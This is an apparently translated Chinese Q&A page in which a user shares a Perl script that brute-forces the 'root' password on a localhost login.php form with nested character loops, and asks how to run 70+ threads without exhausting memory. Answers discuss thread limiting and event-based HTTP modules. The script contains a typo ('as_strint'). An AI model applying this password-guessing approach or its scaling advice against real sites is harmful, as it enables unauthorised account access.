2014-01-11 35 views
1

我想創建超過70個線程,每個線程以不同的值開始。在Perl中使用多線程時如何減少內存消耗?

這裏是我的代碼,以便更清晰

use strict; 
use warnings; 
use threads; 
use LWP::UserAgent; 
my @char = (("A".."Z"),("a".."z")); 
my @threads; 
my $ua = LWP::UserAgent->new; 
push @threads , threads->create(\&Chara); 

sub Chara { 
foreach my $a (@char){ 
foreach my $b (@char){ 
foreach my $c (@char){ 
foreach my $d (@char){ 
foreach my $e (@char){ 
my @req = ("http://localhost/login.php",['log' => "root" , 'pwd' => "A$e$d$c$b$a"]); 
my $res = $ua->post(@req); 
print "Trying A$e$d$c$b$a\n"; 
if ($res->as_string() =~ /302/ && $res->as_strint() =~ m/admin/i){ 

print "A$e$d$c$b$a\n"; 
exit; 
}}}}}}};; 

,我重複,超過70次不同的值,並在腳本的末尾,我把

$_->join foreach @threads; 

但是當我運行腳本消耗大量內存

有什麼建議。

請原諒我的語言。

+0

所以你的問題是如何減少內存消耗? –

+0

減少線程數,畢竟你還沒有70個核心。您可能需要考慮在您的網站中添加一些基本的入侵監控功能...... –

+0

通過對作業進行分組來減少線程數量,或考慮http://search.cpan.org/~msouth/ParallelUserAgent-2.61/lib /LWP/Parallel/UserAgent.pm –

回答

0

用叉子在導入之前線程,如:

use forks; 
use threads; 

,或者你可以限制你的線程類似下面的代碼:

#!perl 


use strict; 
use warnings; 
use diagnostics; 


use Data::Dumper; 
use threads; 


my @IPS; 
for my $item (1..100) { 
    push @IPS, $item; 
} 

my @Threads; 

for (1..5) { 
    last if [email protected]; 
    my $IP =shift(@IPS); 
    push @Threads, async{ Connect($IP) }; 
} 


while (@Threads) { 
    my $thread = shift(@Threads); 
    my $response = $thread->join; 
    print Dumper($response); 
    if (@IPS) { 
     my $IP =shift(@IPS); 
     push @Threads, async{ Connect($IP) }; 
    } 
} 

sub Connect { 
    my $ip = shift; 
    sleep(1); 
    my $r=int(rand(10)); 
    return "test$r"; 

} 

我希望幫助!

1

雖然大多數其他語言使用輕量級的「共享所有」模型,但在訪問數據時必須非常小心,因爲其他線程可能同時訪問它們,Perl使用重量級的「共享顯式'模型,默認情況下沒有共享。這意味着,線程幾乎與克隆進程一樣昂貴,並且對付分叉的唯一優勢是更容易管理明確共享的數據。

因此,在我看來,在線程中使用Perl是一個壞主意,特別是如果您使用大量線程。更好的方法是使用基於事件的模型,該模型由AnyEvent或POE等模塊實現。這個規模好得多。在我工作的地方,我們使用它來編寫應用程序代理,並且它可以在單個進程內擴展到1000個並行連接,而不會出現問題,而且不需要太多內存。使用Perl線程,我們無法做到這一點。

在您的程序中,您嘗試同時訪問多個網站。您可以使用AnyEvent :: HTTP或Mojo :: UserAgent等模塊來執行此事件。您也可以在Coro :: LWP模塊中使用基於協同程序的方法。

相關問題